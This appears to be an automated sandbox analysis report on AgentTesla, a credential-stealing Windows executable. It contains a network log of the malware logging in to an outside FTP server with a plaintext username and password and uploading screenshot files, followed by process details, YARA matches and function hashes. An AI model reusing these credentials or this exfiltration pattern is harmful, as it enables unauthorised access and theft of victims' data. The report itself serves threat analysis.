May 23, 2024 20:29:04.818742037 CEST	21	49753	104.247.165.99	192.168.2.4	227 Entering Passive Mode (104,247,165,99,229,88)
May 23, 2024 20:29:04.829952002 CEST	49753	21	192.168.2.4	104.247.165.99	STOR SC_user-928100_2024_08_13_10_17_39.jpeg
May 23, 2024 20:29:05.467633963 CEST	21	49753	104.247.165.99	192.168.2.4	150 Accepted data connection
May 23, 2024 20:29:05.965930939 CEST	21	49753	104.247.165.99	192.168.2.4	226-File successfully transferred 226-File successfully transferred226 0.496 seconds (measured here), 111.76 Kbytes per second
May 23, 2024 20:29:14.668451071 CEST	49753	21	192.168.2.4	104.247.165.99	PASV
May 23, 2024 20:29:14.906666040 CEST	21	49753	104.247.165.99	192.168.2.4	227 Entering Passive Mode (104,247,165,99,218,145)
May 23, 2024 20:29:14.915680885 CEST	49753	21	192.168.2.4	104.247.165.99	STOR SC_user-928100_2024_08_19_17_12_53.jpeg
May 23, 2024 20:29:15.544559002 CEST	21	49753	104.247.165.99	192.168.2.4	150 Accepted data connection
May 23, 2024 20:29:16.068845987 CEST	21	49753	104.247.165.99	192.168.2.4	226-File successfully transferred 226-File successfully transferred226 0.513 seconds (measured here), 108.05 Kbytes per second
May 23, 2024 20:29:59.728112936 CEST	21	49760	104.247.165.99	192.168.2.4	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 6 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 6 of 50 allowed.220-Local time is now 21:29. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 6 of 50 allowed.220-Local time is now 21:29. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 6 of 50 allowed.220-Local time is now 21:29. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 6 of 50 allowed.220-Local time is now 21:29. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
May 23, 2024 20:29:59.728311062 CEST	49760	21	192.168.2.4	104.247.165.99	USER admin@normagroup.com.tr
May 23, 2024 20:29:59.975085020 CEST	21	49760	104.247.165.99	192.168.2.4	331 User admin@normagroup.com.tr OK. Password required
May 23, 2024 20:29:59.975284100 CEST	49760	21	192.168.2.4	104.247.165.99	PASS Qb.X[.j.Yfm[
May 23, 2024 20:30:00.230171919 CEST	21	49760	104.247.165.99	192.168.2.4	230 OK. Current restricted directory is /
May 23, 2024 20:30:00.459373951 CEST	21	49760	104.247.165.99	192.168.2.4	504 Unknown command
May 23, 2024 20:30:00.459501028 CEST	49760	21	192.168.2.4	104.247.165.99	PWD
May 23, 2024 20:30:00.683608055 CEST	21	49760	104.247.165.99	192.168.2.4	257 "/" is your current location
May 23, 2024 20:30:00.683875084 CEST	49760	21	192.168.2.4	104.247.165.99	TYPE I
May 23, 2024 20:30:00.930624008 CEST	21	49760	104.247.165.99	192.168.2.4	200 TYPE is now 8-bit binary
May 23, 2024 20:30:00.930823088 CEST	49760	21	192.168.2.4	104.247.165.99	PASV
May 23, 2024 20:30:01.158257008 CEST	21	49760	104.247.165.99	192.168.2.4	227 Entering Passive Mode (104,247,165,99,240,64)
May 23, 2024 20:30:01.164067030 CEST	49760	21	192.168.2.4	104.247.165.99	STOR SC_user-928100_2024_09_14_05_07_52.jpeg
May 23, 2024 20:30:01.790853024 CEST	21	49760	104.247.165.99	192.168.2.4	150 Accepted data connection
May 23, 2024 20:30:02.278111935 CEST	21	49760	104.247.165.99	192.168.2.4	226-File successfully transferred 226-File successfully transferred226 0.487 seconds (measured here), 118.65 Kbytes per second
May 23, 2024 20:30:09.058726072 CEST	49760	21	192.168.2.4	104.247.165.99	PASV
May 23, 2024 20:30:09.284538984 CEST	21	49760	104.247.165.99	192.168.2.4	227 Entering Passive Mode (104,247,165,99,238,192)
May 23, 2024 20:30:09.294996023 CEST	49760	21	192.168.2.4	104.247.165.99	STOR SC_user-928100_2024_09_20_19_39_17.jpeg
May 23, 2024 20:30:10.546039104 CEST	21	49760	104.247.165.99	192.168.2.4	150 Accepted data connection
May 23, 2024 20:30:10.556113005 CEST	21	49763	104.247.165.99	192.168.2.4	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 7 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 7 of 50 allowed.220-Local time is now 21:30. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 7 of 50 allowed.220-Local time is now 21:30. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 7 of 50 allowed.220-Local time is now 21:30. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 7 of 50 allowed.220-Local time is now 21:30. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
May 23, 2024 20:30:10.556129932 CEST	21	49760	104.247.165.99	192.168.2.4	150 Accepted data connection
May 23, 2024 20:30:10.556139946 CEST	21	49763	104.247.165.99	192.168.2.4	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 7 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 7 of 50 allowed.220-Local time is now 21:30. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 7 of 50 allowed.220-Local time is now 21:30. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 7 of 50 allowed.220-Local time is now 21:30. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 7 of 50 allowed.220-Local time is now 21:30. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
May 23, 2024 20:30:10.556149006 CEST	21	49760	104.247.165.99	192.168.2.4	150 Accepted data connection
May 23, 2024 20:30:10.556159019 CEST	21	49763	104.247.165.99	192.168.2.4	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 7 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 7 of 50 allowed.220-Local time is now 21:30. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 7 of 50 allowed.220-Local time is now 21:30. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 7 of 50 allowed.220-Local time is now 21:30. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 7 of 50 allowed.220-Local time is now 21:30. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
May 23, 2024 20:30:11.081517935 CEST	21	49760	104.247.165.99	192.168.2.4	226-File successfully transferred 226-File successfully transferred226 1.134 seconds (measured here), 48.87 Kbytes per second
May 23, 2024 20:30:17.682627916 CEST	49760	21	192.168.2.4	104.247.165.99	PASV
May 23, 2024 20:30:17.913454056 CEST	21	49760	104.247.165.99	192.168.2.4	227 Entering Passive Mode (104,247,165,99,218,252)
May 23, 2024 20:30:17.922663927 CEST	49760	21	192.168.2.4	104.247.165.99	STOR SC_user-928100_2024_05_23_14_30_16.jpeg

Target ID:	0
Start time:	14:26:09
Start date:	23/05/2024
Path:	C:\Users\user\Desktop\hesaphareketi-.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\hesaphareketi-.exe"
Imagebase:	0x440000
File size:	939'008 bytes
MD5 hash:	6EE05D4DD363D273CE38C497B1238DB1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1763207948.0000000003879000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.1763207948.0000000003879000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1763207948.0000000003AE6000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.1763207948.0000000003AE6000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:26:12
Start date:	23/05/2024
Path:	C:\Users\user\Desktop\hesaphareketi-.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\hesaphareketi-.exe"
Imagebase:	0x730000
File size:	939'008 bytes
MD5 hash:	6EE05D4DD363D273CE38C497B1238DB1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000002.00000002.4189629111.0000000002BB9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.4188331044.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000002.00000002.4188331044.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.4189629111.0000000002B91000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000002.00000002.4189629111.0000000002B91000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	7.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	55
Total number of Limit Nodes:	1

Executed Functions

Function 0275590D Relevance: 1.6, APIs: 1, Instructions: 99
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 027559C9

Memory Dump Source

Source File: 00000000.00000002.1762610866.0000000002750000.00000040.00000800.00020000.00000000.sdmp, Offset: 02750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2750000_hesaphareketi-.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 7bea00d5443b1fa44bb2e4f3568e9ebde3bfe00e0f440cb8c0f7422d7922ab48
Instruction ID: a18df8d486afd748c386bd071442901498f5f41388e2f083c3526952ef3681df
Opcode Fuzzy Hash: 7bea00d5443b1fa44bb2e4f3568e9ebde3bfe00e0f440cb8c0f7422d7922ab48
Instruction Fuzzy Hash: 9F41E2B0C00719CBDB24CFA9C88468EFBF5BF45704F60806AE409AB250DBB66949CF90

Function 027544E0 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 027559C9

Memory Dump Source

Source File: 00000000.00000002.1762610866.0000000002750000.00000040.00000800.00020000.00000000.sdmp, Offset: 02750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2750000_hesaphareketi-.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 55abd4104b01eb186c205a8ed8f15c4fefc2ffdb5bfcca470cd6dc58edb13f00
Instruction ID: ff59b8cf5c42c11fbb2e03945a99656954c4e0ba30741065e08c1f945dd096eb
Opcode Fuzzy Hash: 55abd4104b01eb186c205a8ed8f15c4fefc2ffdb5bfcca470cd6dc58edb13f00
Instruction Fuzzy Hash: 1041D2B0C0062DCBDB24CFA9C88479DFBF5BF49704F64806AD409AB255DBB56949CF90

Function 0275B3F8 Relevance: 1.6, APIs: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000,?,?,?,?,?,?,?,0275AE3C), ref: 0275B47E

Memory Dump Source

Source File: 00000000.00000002.1762610866.0000000002750000.00000040.00000800.00020000.00000000.sdmp, Offset: 02750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2750000_hesaphareketi-.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 1a3b60aa9f48dc5cabd9dced5356d6fafe4fc889acfc92e21041e834a6c08e2f
Instruction ID: 56c012ec85622a9dd8becb49fffb181fee4b7e6f5ce91ed2a97690b30ad24ab4
Opcode Fuzzy Hash: 1a3b60aa9f48dc5cabd9dced5356d6fafe4fc889acfc92e21041e834a6c08e2f
Instruction Fuzzy Hash: 072136B58047988FDB20DFA9D4446EAFBB0AF49218F15845AC858AB212D3745546CFA1

Function 0275B3E8 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0275D3E6,?,?,?,?,?), ref: 0275D4A7

Memory Dump Source

Source File: 00000000.00000002.1762610866.0000000002750000.00000040.00000800.00020000.00000000.sdmp, Offset: 02750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2750000_hesaphareketi-.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 18c52a43ff741ab61c21fa90ad2cef501de76cde0bd7e5643882aac9ffea5ffc
Instruction ID: 913ab61f92151245b56bf8b02838e284c15e525d618d315919f3f1fc24eee8d2
Opcode Fuzzy Hash: 18c52a43ff741ab61c21fa90ad2cef501de76cde0bd7e5643882aac9ffea5ffc
Instruction Fuzzy Hash: 572116B5900218EFDB10CF9AD584ADEFBF4EB48320F14801AE914B3310D374A940CFA4

Function 0275D419 Relevance: 1.6, APIs: 1, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0275D3E6,?,?,?,?,?), ref: 0275D4A7

Memory Dump Source

Source File: 00000000.00000002.1762610866.0000000002750000.00000040.00000800.00020000.00000000.sdmp, Offset: 02750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2750000_hesaphareketi-.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 9030580c4d3258c4b68ab5090df91f1b7943406f98955a7057f7e113aa792763
Instruction ID: e606f2cbe3ac7febd8c575a545b0206a451239e9a7971e7c3a56e169e0399738
Opcode Fuzzy Hash: 9030580c4d3258c4b68ab5090df91f1b7943406f98955a7057f7e113aa792763
Instruction Fuzzy Hash: E021E4B5900218DFDB10CFAAD584ADEFFF5EB48324F14842AE958A7310C378A940CFA5

Function 0275B020 Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0275B4F9,00000800,00000000,00000000), ref: 0275B70A

Memory Dump Source

Source File: 00000000.00000002.1762610866.0000000002750000.00000040.00000800.00020000.00000000.sdmp, Offset: 02750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2750000_hesaphareketi-.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 00059e082bcac694846e6afff80b4fc529d9db3925560d0e4379350f7c86483d
Instruction ID: 5438b41cb59ebb8cf3f3877dc346b28384342444076c0ccb876d1df2b4ba1b22
Opcode Fuzzy Hash: 00059e082bcac694846e6afff80b4fc529d9db3925560d0e4379350f7c86483d
Instruction Fuzzy Hash: 091114B69002199FDB10CF9AD444AEEFBF4EB88314F10842AD919B7210C3B5A545CFA4

Function 0275B699 Relevance: 1.6, APIs: 1, Instructions: 54
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0275B4F9,00000800,00000000,00000000), ref: 0275B70A

Memory Dump Source

Source File: 00000000.00000002.1762610866.0000000002750000.00000040.00000800.00020000.00000000.sdmp, Offset: 02750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2750000_hesaphareketi-.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 63fb7424f47027fa91b40f84685a2c692a8fb07bccf41f23204c26b80b595e7d
Instruction ID: 01d14f14c2f7ad486b23fd05d5b6a347db817c28170e64ef2680d2e6261c1b10
Opcode Fuzzy Hash: 63fb7424f47027fa91b40f84685a2c692a8fb07bccf41f23204c26b80b595e7d
Instruction Fuzzy Hash: 401126B6D002598FDB10CFAAD444AEEFBF4EB48314F14842AD859A7210C375A545CFA5

Function 02759D90 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000,?,?,?,?,?,?,?,0275AE3C), ref: 0275B47E

Memory Dump Source

Source File: 00000000.00000002.1762610866.0000000002750000.00000040.00000800.00020000.00000000.sdmp, Offset: 02750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2750000_hesaphareketi-.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 888e10d1ef4c51428f3459eef05a45bcc3265ce8393afc8ae81646a77df4a101
Instruction ID: f1123ec4d97aa8185ed5cf2347255648e17296d6c883a3346e9b1b5643c85f5c
Opcode Fuzzy Hash: 888e10d1ef4c51428f3459eef05a45bcc3265ce8393afc8ae81646a77df4a101
Instruction Fuzzy Hash: F51132B1C007588FDB20CF9AD444AEEFBF4EB88228F10842AD819B7314C3B5A545CFA0

Function 00E1D4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1761492473.0000000000E1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e1d000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0885f0f228ada63d8ef1e3c7193bbf8e4f92abc7f9e6bc4cd8581d2b165efb3
Instruction ID: dc03127475761f56e7fcc9cf2bb849fb95c7a00c60837b0438f777c7da4cc89f
Opcode Fuzzy Hash: a0885f0f228ada63d8ef1e3c7193bbf8e4f92abc7f9e6bc4cd8581d2b165efb3
Instruction Fuzzy Hash: 94212571508240DFCB05DF14DDC0BA7BF66FB98318F20C569E8095B256C336D896CAA1

Function 00E2D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1761727367.0000000000E2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e2d000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efad8e9aa519f5d22844e749c426964bbfeede7842241a9ac0e10b55058d671e
Instruction ID: e3f46eefd4d45fcada66d35502b03432c3490eb36425028b571840a9d37e474a
Opcode Fuzzy Hash: efad8e9aa519f5d22844e749c426964bbfeede7842241a9ac0e10b55058d671e
Instruction Fuzzy Hash: 50212672508204EFDB05DF54EDC4B26BBA5FB84318F30C66DEA095B2A6C336D856CA61

Function 00E2D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1761727367.0000000000E2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e2d000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95b6374c5b3e5cd115ad8d8782c676e9c1df5fa4de72f1be825bc38700794707
Instruction ID: 24b2c083d211d7abde600eca00d1e45c3a2050c3cc74c29e84b76a2918090e5e
Opcode Fuzzy Hash: 95b6374c5b3e5cd115ad8d8782c676e9c1df5fa4de72f1be825bc38700794707
Instruction Fuzzy Hash: F021F271608240DFCB14DF14E984F26BBA6FB84318F20C569DA4A5B2A6C73AD847CA61

Function 00E2D005 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1761727367.0000000000E2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e2d000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ff682a803a7488462a23ccb078c11669c551e4dde1408fb3783de7c9ee1e240
Instruction ID: 6359a3df6455733672b159d9a28e59271b7bc572e752a752dcb2e9bf15a584b1
Opcode Fuzzy Hash: 6ff682a803a7488462a23ccb078c11669c551e4dde1408fb3783de7c9ee1e240
Instruction Fuzzy Hash: 7021537550D3808FD712CF24D994B15BF72EB46314F28C5DAD9498F6A7C33A980ACB62

Function 00E1D4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1761492473.0000000000E1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e1d000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: 7f6abda2fb63cab9429736cd0ba6953894c3c37df1ac9885d81c810406c6e8d8
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: F511D376504280CFCB16CF14D9C4B56BF72FB94328F24C6A9D8494B656C336D89ACBA1

Function 00E2D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1761727367.0000000000E2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e2d000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: e5b36c9839276b433dfbae82c5a75d7e652c7ce8a0209b4d60cc8a2ae81b6cbb
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: BE11BB76508284DFDB02CF50D9C4B15BBA1FB84318F24C6AAD9494B2A6C33AD81ACB61

Function 00E1D745 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1761492473.0000000000E1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e1d000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3725e108c8fa43be11b2226ef1f12326fbc712139deab176204fa50a07c4e2d
Instruction ID: 2d6051460491247197c0b795548be4ec029d5e85cf3dca1a42c2c27b5d21bb0f
Opcode Fuzzy Hash: e3725e108c8fa43be11b2226ef1f12326fbc712139deab176204fa50a07c4e2d
Instruction Fuzzy Hash: 4101A77100C3409AE7105A25CD84BE7BF98EF41334F18D52BED195A2D6D6799880C671

Function 00E1D744 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1761492473.0000000000E1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e1d000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf6b45afc0c09ef52be90c704643855f2d60af5a5f2f442f5c87cfff039bfb47
Instruction ID: f960d17a3cdec272d1b7fee8c9b3648a45181d3a070ac065cb5afa1c6b012c51
Opcode Fuzzy Hash: bf6b45afc0c09ef52be90c704643855f2d60af5a5f2f442f5c87cfff039bfb47
Instruction Fuzzy Hash: A7F062714083449AE7109E16DC88BA2FFA8EB51739F18C45AED485B296C2799884CBB1

Non-executed Functions

Function 0275DAEC Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1762610866.0000000002750000.00000040.00000800.00020000.00000000.sdmp, Offset: 02750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2750000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 147b7f0a1a89b01742000f966ebb93f5b8e09af9bd7580ae8608ef01780cb287
Instruction ID: 3e42ffabd22b4de53e82e5bea535ba7118fac0a8e0453d0222a6ea909d095b7e
Opcode Fuzzy Hash: 147b7f0a1a89b01742000f966ebb93f5b8e09af9bd7580ae8608ef01780cb287
Instruction Fuzzy Hash: D7A15C32E006298FCF15DFA4C8449AEB7B3FF85300B1541AAE805AB265DBB5E956CB40

Analysis Process: hesaphareketi-.exePID: 3496, Parent PID: 6832COMMON

Execution Graph

Execution Coverage:	11%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	1.4%
Total number of Nodes:	208
Total number of Limit Nodes:	26

Executed Functions

Function 06802358 Relevance: 9.0, Strings: 6, Instructions: 1486COMMON

Download Yara Rule

Strings

$^q, xrefs: 0680371E
$^q, xrefs: 06803747
$^q, xrefs: 0680372A
$^q, xrefs: 06803753
$^q, xrefs: 06803777
$^q, xrefs: 0680376B

Memory Dump Source

Source File: 00000002.00000002.4193494559.0000000006800000.00000040.00000800.00020000.00000000.sdmp, Offset: 06800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6800000_hesaphareketi-.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2392861976
Opcode ID: 6cac94d91d5bf146aa13d9ce05b9cac2956d7784c06729581ad25bdb5e761552
Instruction ID: 9c016de7da71128eba088a4bd5e5c5dba944ba9a8f6ebe111ab4bee7bb3bbb4b
Opcode Fuzzy Hash: 6cac94d91d5bf146aa13d9ce05b9cac2956d7784c06729581ad25bdb5e761552
Instruction Fuzzy Hash: 9AD27D34E00609CFDBA4DB68C998A9DB7B2FF85304F5489A9D509EB295DB70ED81CF40

Function 0680B218 Relevance: 8.3, Strings: 6, Instructions: 772COMMON

Download Yara Rule

Strings

$^q, xrefs: 0680BB9F
$^q, xrefs: 0680BB6B
$^q, xrefs: 0680BBDF
$^q, xrefs: 0680BB77
$^q, xrefs: 0680BBD3
$^q, xrefs: 0680BBAB

Memory Dump Source

Source File: 00000002.00000002.4193494559.0000000006800000.00000040.00000800.00020000.00000000.sdmp, Offset: 06800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6800000_hesaphareketi-.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2392861976
Opcode ID: f64a993b6b01a597d2f4c4f42d09b8a69901bbb930d6b43557daee58665b8219
Instruction ID: 5ccb322c070b43191b12c0f24cfe190de642f278e382416fc1eac0fe625fa346
Opcode Fuzzy Hash: f64a993b6b01a597d2f4c4f42d09b8a69901bbb930d6b43557daee58665b8219
Instruction Fuzzy Hash: 82528130E102098FEFA4DB68D9907ADB7B2FB45314F208826E515EB395DB36DC85CB91

Function 06807D68 Relevance: 3.0, Strings: 2, Instructions: 471
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 068080A5
$^q, xrefs: 068080B1

Memory Dump Source

Source File: 00000002.00000002.4193494559.0000000006800000.00000040.00000800.00020000.00000000.sdmp, Offset: 06800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6800000_hesaphareketi-.jbxd

Similarity

API ID:
String ID: $^q$$^q
API String ID: 0-355816377
Opcode ID: f670fade110519e882d7e8817922118f226336ab310fb99dcd37c005f8d4144b
Instruction ID: 2302fb863ca98fa9f64fa6a3647eef608c0d153f6214bb6ee43405d28c64cd8e
Opcode Fuzzy Hash: f670fade110519e882d7e8817922118f226336ab310fb99dcd37c005f8d4144b
Instruction Fuzzy Hash: AD028D30B006199FEF94DB68D990A6EB7E2FF84314F148829D509DB794DB71EC86CB81

Function 06805590 Relevance: 1.8, Strings: 1, Instructions: 595COMMON

Download Yara Rule

Strings

$, xrefs: 06805921

Memory Dump Source

Source File: 00000002.00000002.4193494559.0000000006800000.00000040.00000800.00020000.00000000.sdmp, Offset: 06800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6800000_hesaphareketi-.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
